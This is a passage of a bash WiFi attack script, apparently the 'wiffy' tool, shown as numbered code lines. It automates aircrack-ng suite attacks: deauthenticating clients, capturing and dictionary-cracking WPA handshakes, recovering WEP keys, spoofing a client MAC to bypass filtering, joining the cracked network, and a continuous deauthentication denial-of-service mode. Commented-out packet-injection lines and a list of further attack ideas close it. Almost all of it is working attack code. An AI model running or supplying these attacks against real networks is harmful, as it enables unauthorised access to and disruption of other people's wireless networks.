  532. action "aireplay-ng (deauth)" "aireplay-ng --deauth 5 -e \"$essid\" -a $bssid -c $fakeMac $monitorInterface" $verbose $diagnostics "true"
  533. sleep 1
  534. if [ "$client" == "$mac" ] ; then sleep 20 && action "aireplay-ng (fakeauth)" "aireplay-ng --fakeauth 0 -e \"$essid\" -a $bssid -h $fakeMac $monitorInterface" $verbose $diagnostics "true" ; fi
  535. sleep 60
  536. #----------------------------------------------------------------------------------------------#
  537. elif [ "$encryption" == "WPA" ] ; then
  538. display action "Capturing: Handshake" $diagnostics
  539. loop="0" # 0 = first, 1 = client, 2 = everyone
  540. echo "g0tmi1k" > /tmp/wiffy.tmp
  541. for (( ; ; )) ; do
  542. action "aircrack-ng" "aircrack-ng /tmp/wiffy*.cap -w /tmp/wiffy.tmp -e \"$essid\" > /tmp/wiffy.handshake" $verbose $diagnostics "true"
  543. command=$(cat /tmp/wiffy.handshake | grep "Passphrase not in dictionary" ) #Got no data packets from client network & No valid WPA handshakes found
  544. if [ "$command" ] ; then break; fi
  545. sleep 2
  546. if [ "$loop" != "1" ] ; then
  547. if [ "$loop" != "0" ] ; then findClient $encryption ; fi
  548. sleep 1
  549. if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then display action "Attack (Deauth): $client" $diagnostics ; fi
  550. action "aireplay-ng" "aireplay-ng --deauth 5 -a $bssid -c $client mon0" $verbose $diagnostics "true"
  551. loop="1"
  552. else
  553. if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then display action "Attack (Deauth): *everyone*" $diagnostics ; fi
  554. action "aireplay-ng" "aireplay-ng --deauth 5 -a $bssid mon0" $verbose $diagnostics "true"
  555. loop="2"
  556. fi
  557. sleep 1
  558. done
  559. if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then display action "Captured: Handshake" $diagnostics ; fi
  560. action "Killing programs" "killall xterm && sleep 1" $verbose $diagnostics "true"
  561. fi
  562. #----------------------------------------------------------------------------------------------#
  563. if [ "$encryption" == "WEP" ] || [ "$encryption" == "WPA" ] ; then
  564. display action "Starting: aircrack-ng" $diagnostics
  565. if [ "$encryption" == "WEP" ] ; then action "aircrack-ng" "aircrack-ng /tmp/wiffy*.cap -e \"$essid\" -l /tmp/wiffy.key" $verbose $diagnostics "false" "0|350|30" ; fi
  566. if [ "$encryption" == "WPA" ] ; then action "aircrack-ng" "aircrack-ng /tmp/wiffy*.cap -w $wordlist -e \"$essid\" -l /tmp/wiffy.key" $verbose $diagnostics "false" "0|0|20" ; fi
  567. fi
  568. #----------------------------------------------------------------------------------------------#
  569. action "Killing programs" "killall xterm && sleep 1" $verbose $diagnostics "true"
  570. action "airmon-ng" "airmon-ng stop $monitorInterface" $verbose $diagnostics "true"
  571. #----------------------------------------------------------------------------------------------#
  572. if [ -e "/tmp/wiffy.key" ] ; then
  573. key=$(cat /tmp/wiffy.key)
  574. display info "WiFi key: $key" $diagnostics
  575. #----------------------------------------------------------------------------------------------#
  576. if [ "$extras" == "true" ] ; then
  577. if [ "$client" != "$mac" ] ; then
  578. if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then display action "Attack (Spoofing): $client ('Helps' with MAC filtering) " $diagnostics ; fi
  579. action "airmon-ng" "ifconfig $interface down && macchanger -m $client $interface && ifconfig $interface up" $verbose $diagnostics "true"
  580. fi
  581. display action "Joining: $essid" $diagnostics
  582. if [ "$encryption" == "WEP" ] ; then
  583. action "i[f/w]config" "ifconfig $interface down && iwconfig $interface essid $essid key $key && ifconfig $interface up" $verbose $diagnostics "true"
  584. elif [ "$encryption" == "WPA" ] ; then
  585. action "wpa_passphrase" "wpa_passphrase $essid '$key' > /tmp/wiffy.conf" $verbose $diagnostics "true"
  586. action "wpa_supplicant" "wpa_supplicant -B -i $interface -c /tmp/wiffy.conf -D wext" $verbose $diagnostics "true"
  587. fi
  588. sleep 5
  589. action "dhclient" "dhclient $interface" $verbose $diagnostics "true"
  590. if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then
  591. ourIP=$(ifconfig $interface | awk '/inet addr/ {split ($2,A,":"); print A[2]}')
  592. display info "IP: $ourIP" $diagnostics
  593. #gateway=$(route -n | grep $interface | awk '/^0.0.0.0/ {getline; print $2}')
  594. #display info "Gateway: $gateway" $diagnostics
  595. fi
  596. fi
  597. #----------------------------------------------------------------------------------------------#
  598. elif [ "$encryption" == "WPA" ] ; then
  599. display error "WiFi Key not in wordlist" $diagnostics 1>&2
  600. display action "Moving handshake: $(pwd)/wiffy-$essid.cap" $diagnostics 1>&2
  601. action "Moving capture" "mv -f /tmp/wiffy*.cap $(pwd)/wiffy-$essid.cap" $verbose $diagnostics "true"
  602. #----------------------------------------------------------------------------------------------#
  603. elif [ "$encryption" != "N/A" ] ; then
  604. display error "Something went wrong )=" $diagnostics 1>&2
  605. fi
  606. #----------------------------------------------------------------------------------------------#
  607. elif [ "$mode" == "dos" ] ; then
  608. display action "Attack (DOS): $essid" $diagnostics
  609. command="aireplay-ng --deauth 0 -e \"$essid\" -a $bssid"
  610. if [ "$client" != "clientless" ] ; then command="$command -c $client" ; fi
  611. command="$command $monitorInterface"
  612. action "aireplay-ng (DeAuth)" "$command" $verbose $diagnostics "true" &
  613. #----------------------------------------------------------------------------------------------#
  614. display info "Attacking! ...press CTRL+C to stop" $diagnostics
  615. if [ "$diagnostics" == "true" ] ; then echo "-Ready!----------------------------------" >> $logFile ; fi
  616. for (( ; ; )) ; do
  617. sleep 5
  618. done
  619. #elif [ "$mode" == "inject" ] ; then
  620. # display action "Attack (Inject): $essid" $diagnostics
  621. # if [ "$encryption" != "WEP" ] ; then display error "Only works on WEP networks" $diagnostics 1>&2 ; cleanup ; fi
  622. #action "aireplay-ng (Inject)" "airtun-ng -a $bssid $monitorInterface" $verbose $diagnostics "true" &
  623. #action "aireplay-ng (Inject)" "ifconfig at0 192.168.1.83 netmask 255.255.255.0 up" $verbose $diagnostics "true" &
  624. # airmon-ng start wlan0
  625. # /pentest/wireless/airpwn-1.4/airpwn -c conf/greet_html -d rt73 -i mon0 -v
  626. #----------------------------------------------------------------------------------------------#
  627. # display info "Attacking! ...press CTRL+C to stop" $diagnostics
  628. # if [ "$diagnostics" == "true" ] ; then echo "-Ready!----------------------------------" >> $logFile ; fi
  629. # for (( ; ; )) ; do
  630. # sleep 5
  631. # done
  632. fi
  633. #----------------------------------------------------------------------------------------------#
  634. if [ "$diagnostics" == "true" ] ; then echo "-Done!---------------------------------------------------------------------------------------" >> $logFile ; fi
  635. cleanup clean
  636. #---Ideas--------------------------------------------------------------------------------------#
  637. # WEP - Chopchop/FagmentationAP Packet Broadcast
  638. # WPA - aircrack/coWPAtty
  639. # WPA - brute / hash
  640. # WPA - calculate hash
  641. # WPA - use pre hash / use pre capture
  642. # WPA - use folder for wordlist
  643. # WiFi Key is in hex
  644. # update - aircrack/coWPATTY
  645. # decrypt packets - offline & online (airtun-ng)
  646. # Mode - Injection - GET WORKING
  647. # display error "The encryption ($encryption) on $essid isn't support" $diagnostics 1>&2 ; cleanup

comments powered by Disqus